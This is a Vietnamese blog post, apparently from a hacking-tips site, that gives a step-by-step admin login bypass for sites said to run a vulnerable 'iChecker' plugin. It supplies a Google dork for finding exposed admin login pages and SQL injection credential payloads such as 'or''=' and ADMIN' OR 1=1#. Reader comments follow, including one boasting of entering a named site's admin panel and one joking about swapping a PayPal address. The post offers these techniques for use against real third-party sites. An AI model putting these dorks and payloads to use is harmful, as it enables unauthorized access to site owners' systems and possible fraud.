—————————————————————————————————
Tôi tìm thấy một trang web và tôi thấy rằng trang quản trị của trang web đó có thể được truy cập chỉ đơn giản với một phương pháp bỏ qua xác thực.
📢 Tham gia kênh Telegram của AnonyViet👉 Vào Telegram AnonyVietCập nhật bài mới, tools hay và thủ thuật IT nhanh nhấtSau đó, tôi tìm kiếm các trang web khác với Dork trên để quét chúng, và tôi tìm thấy nhiều trang web dễ bị lỗi tương tự!
Vì vậy, tôi quyết định chia sẻ điều này với các bạn!
(Killer040)
Hướng dẫn Admin Login Bypass
{-} Vulnerable Versions => Hầu hết bị dính lỗi ở CMS của Plugin ‘iChecker’.
Tiến hành:
Bước 1: Tìm Link Admin
Sử dụng 1 trong 2 link này để tìm Web Admin
Hoặc vào google gõ lệnh:
"Sign in to start your session" inurl:admin/login.php
hoặc
User: 'or''=' Pass: 'or''='
hoặc
User: ADMIN' OR 1=1# Pass: ADMIN' OR 1=1#
Kết quả:
the end hãy chết đi admin tui sẽ giết bạn
wow, hay, tks ad nhiều
hơ hơ lúc đầu vào cứ tưởng là trang rut gọn link kiếm tiền. định đổi địa chỉ paypal
Cảm ơn ad nhiều, em vô admin của GreenJob
nếu em thay require ở user button type là email thay vì là text thì có gặp lỗ hổng gì không ad?